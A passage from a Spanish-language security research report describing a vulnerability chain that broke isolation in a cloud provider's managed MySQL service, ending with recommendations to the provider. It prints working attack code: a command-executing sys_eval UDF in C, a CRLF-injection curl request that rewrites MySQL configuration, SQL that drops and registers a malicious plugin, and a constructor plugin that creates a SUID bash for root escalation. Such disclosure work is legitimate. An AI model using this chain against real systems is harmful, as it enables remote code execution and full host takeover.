#include <stdlib.h> #include <string.h> #include <stdio.h> typedef unsigned long long udf_args_type; typedef struct { unsigned int arg_count; unsigned int *arg_type; char **args; unsigned long *lengths; char *maybe_null; char **attributes; unsigned long *attribute_lengths; void *extension; } UDF_ARGS; typedef struct { char maybe_null; unsigned int decimals; unsigned long max_length; char *ptr; char const_item; void *extension; } UDF_INIT; int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { if (args->arg_count != 1) { strcpy(message, "sys_eval requires one argument"); return 1; } initid->max_length = 65535; return 0; } void sys_eval_deinit(UDF_INIT *initid) {} char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) { if (!args->args[0]) { *is_null = 1; return NULL; } char cmd[65535]; snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]); FILE *pipe = popen(cmd, "r"); if (!pipe) { *is_null = 1; return NULL; } static char buf[65535]; size_t total = 0; while (total < sizeof(buf)-1) { size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe); if (n == 0) break; total += n; } pclose(pipe); buf[total] = '\0'; *length = total; return buf; } |
Para obtener RCE se realizó una inyección CRLF en el archivo de configuración a través de la API del proveedor de nube:
|
1 2 3 4 |
curl -s -X PATCH "https://somecloud/api/dbaas/id" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}' |
Este vector permitió inyectar saltos de línea y redefinir parámetros críticos de configuración:
|
1 2 3 |
default-time-zone="+00:00 secure_file_priv= # eliminación de las restricciones de escritura, lo que permite guardar archivos en cualquier directorio accesible para el usuario de MySQL. plugin_dir=/var/lib/mysql-files/ # establecimiento de un directorio de confianza para cargar bibliotecas dinámicas. |
Tras haber conseguido privilegios de escritura, la biblioteca UDF maliciosa (Shared Object) se cargó en el directorio objetivo mediante el operador SQL:
|
1 |
SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so |
Reiniciamos la base de datos MySQL para aplicar la configuración modificada e inicializar el complemento registrado:
|
1 |
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so'; |
Se analizó la lista de servicios activos para la escalada de privilegios hasta el nivel de root. Se determinó que el servicio mysql-watcher.service se ejecuta con privilegios de administrador e inicia de forma periódica un script de Python para acceder a MySQL a través del cliente de sistema. Para explotar este proceso se compiló otro complemento:
|
1 2 3 4 |
#include <stdlib.h> __attribute__((constructor)) static void init(void) { system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash"); } |
La ruta al directorio con la biblioteca maliciosa (archivo .so, parámetro plugin_dir) y el nombre del complemento de autenticación default-auth=plugname se inyectan en la sección [client] del archivo de configuración /etc/mysql/my.cnf. La próxima vez que el cliente MySQL se inicia, el servicio en segundo plano mysql-watcher.service lo hace con privilegios de root en el host donde se ejecuta el servidor, lo que provoca la ejecución del complemento descrito anteriormente. Esto conduce a la ejecución de un comando de sistema y la creación de una copia del intérprete Bash con el bit SUID establecido (/tmp/rbash), lo que completa la cadena de compromiso total del host.
5. Conclusión
La infraestructura del proveedor de servicios en la nube se basaba en desarrollos propios y no en soluciones tradicionales de código abierto, lo que generó una superficie de ataque compleja. En el marco de la investigación también se detectaron otras vulnerabilidades que no se incluyeron en el informe por tratarse de vulnerabilidades habituales. Los resultados del trabajo otorgaron las bases para proporcionar al proveedor recomendaciones orientadas a mejorar la seguridad. Entre ellas, se propusieron medidas para aislar los servicios gestionados y eliminar la visibilidad de red entre ellos, aplicar políticas estrictas de AppArmor que aíslan procesos de los servicios y reforzar la supervisión del uso de servicios que podrían ser vulnerables.
























Vecino peligroso: cómo una cadena de vulnerabilidades permitió romper el aislamiento en una infraestructura en la nube